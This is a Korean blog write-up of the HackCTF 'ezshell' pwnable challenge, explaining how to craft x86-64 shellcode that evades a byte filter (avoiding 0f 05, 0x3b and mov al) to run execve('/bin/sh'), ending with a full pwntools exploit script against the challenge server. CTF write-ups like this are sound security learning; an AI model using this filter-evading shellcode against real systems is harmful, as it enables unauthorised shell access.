WAR GAME/HackCTF

[HackCTF : Pwnable] ezshell 풀이 (64bit, shellcode)

jir4vvit 2021. 4. 30. 13:46

일문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

shellcode랑 친하지 않은 나...

 


주어진 파일은 바이너리 파일과  c코드

 

Analysis

mitigation

풀렐로... 

execution

null이요..?

code

main

쉘코드를 제작해야하는 문제..

저기 필터링이 보이는데 syscall을 의미하는 0f 05가 필터링 되어있다 ㅠ

3b는... 59번 execve 실행을 방지하는 걸로 보인다.

b0은 분석할때는 몰랐고 문제 풀때 알게 되었는데 

이걸 뜻한다.

저 구문을 왜 사용했냐면 필터링된 3b를 우회하기 위해 al에 3a를 옮겨놓고 inc하려고 했다 ㅎㅎ;

 

아무튼.. 내가 shellcode를 작성하면 result에 내가 작성한 shellcode를 옮겨 붙이고 result+2부터 실행을 한다.

result를 살펴보면 맨 처음에 syscall을 의미하는 0f 05가 있다. 

처음에 syscall이 필터링 된 것을 보고 어떻게 우회하지..? 라고 생각했는데 출제자 분이 써먹으라고 친절하게 주셨다.

shellcode에 레지스터를 맞춰놓는 셀코드를 넣어놓고 result의 syscall부분으로 jmp를 하면 될 것 같다.

 

아 참고로 result에 적혀있는 쉘코드는 아래와 같다.

rip레지스터 제외하고 초기화 시켜주네~

Exploit Scenario

Summary

  1. rsp 레지스터 조작
  2. execve('/bin/sh')를 실행시키는 것이 목표
  3. al 레지스터에 59 값 넣어주기
  4. '/bin/sh' 문자열 주소를 rdi 레지스터에 넣어주기
  5. syscall이 위치한 주소로 jmp ~~
shellcode = ''
shellcode += asm('mov rsp,QWORD PTR fs:[rax]')
shellcode += asm('mov cl, 58')
shellcode += asm('xchg al, cl')
shellcode += asm('inc rax')
shellcode += asm('movabs rbx,0x68732f2f6e69622f')
shellcode += asm('push rbx')
shellcode += asm('push rsp')
shellcode += asm('pop rdi')
shellcode += '\xE9\xB1\xFF\xFF\xFF'

In detail

rsp 레지스터를 조작(?)하는 이유?

저걸 안해주면 안된다. 아래처럼 펑~ 하고 터짐

RSP에 스택주소가 없어서 그렇다.

push 명령은 RSP를 이용한 명령이기 때문에... RSP에 스택 주소를 넣어주는 과정이 필요한데, 아래와 같이 하면 된다.

 

shellcode += asm('mov rsp,QWORD PTR fs:[rax]')

 

fs에서 0번째를 가져오면 되는데, 0을 넣으면 필터에 걸리니, 0의 값을 가지고 있는 rax를 넣었다.

mov al (\xb0) 우회 방법?

기본적으로 execve 를 실행시키려면 rax에 3b를 넣어줘야하는데, 3b는 필터링이 걸려있다.

그래서 al에 3a를 넣어주고, inc하려고 했다. (al에다가 넣어주는 이유는 글자 수 때문 ㅎ)

그런데 mov al도 필터링에 걸린다.

 

그래서 채택한 방법이, cl에 미리 넣어주고 xchg 명령으로 al 레지스터와 cl 레지스터 사이의 값을 교환해주는 방법을 채택했다. 이제 inc하면 59 세팅 완료 ~ 

shellcode += asm('mov cl, 58')
shellcode += asm('xchg al, cl')
shellcode += asm('inc rax')

rdi에 /bin/sh 주소 넣어주기

일단 rbx 레지스터에 /bin/sh 문자열을 넣어준다. 이거를 push하게 되면 rsp가 -4가 되면서 stack에 값이 들어가게 되고,  rsp를 push하고 pop rdi하게 되면 rdi에 /bin/sh 문자열이 들어가게 된다.

(사실 이부분은 시중에 돌아다니는 쉘코드를 구해서 그대로 복붙했당 ㅎ)

shellcode += asm('movabs rbx,0x68732f2f6e69622f')
shellcode += asm('push rbx')
shellcode += asm('push rsp')
shellcode += asm('pop rdi')

jmp syscall~~~

jmp와 call를 잘 하시는가..

call : E8 + 4byte

jmp : E9 + 4byte

 

뒤의 저 4byte는 상대적인? 그런거다. 현지 명령어 위치로부터 jmp ~~~까지의 거리를 계산해서 다 다른 것!

blog.naver.com/yjw_sz/221571647852

 

jmp 및 call 명령 상대주소 opcode 계산법

shellcode 문제를 풀 때 쓰이는 거 같아서 정리를 한다. jmp나 call 명령은 총 5byte로서 기본적으로 다음...

blog.naver.com

위의 블로그 보고 계산했다.

 

그리고 얘는 asm으로 안하고 그냥 바로 쉘코드로 넣어줬는데, 그 이유는 그냥 asm로 하니까 터져서 그렇다;;

shellcode += '\xE9\xB1\xFF\xFF\xFF'

 

Exploit Code

from pwn import *

context(arch="amd64")

#p = process('./ezshell')
p = remote('ctf.j0n9hyun.xyz', 3036)
e = ELF('./ezshell')

shellcode = ''
shellcode += asm('mov rsp,QWORD PTR fs:[rax]')
shellcode += asm('mov cl, 58')
shellcode += asm('xchg al, cl')
shellcode += asm('inc rax')
shellcode += asm('movabs rbx,0x68732f2f6e69622f')
shellcode += asm('push rbx')
shellcode += asm('push rsp')
shellcode += asm('pop rdi')
shellcode += '\xE9\xB1\xFF\xFF\xFF'
#shellcode += asm('jmp 0xffffffffffffffb1', vma = 0x400000)
print len(shellcode)
shellcode += '\x90' * (30-len(shellcode))

pause()
p.send(shellcode)

#pause()
#p.send('AAAAAAAAAABBBBBBBBBBCCCCCCCCCC')

p.interactive()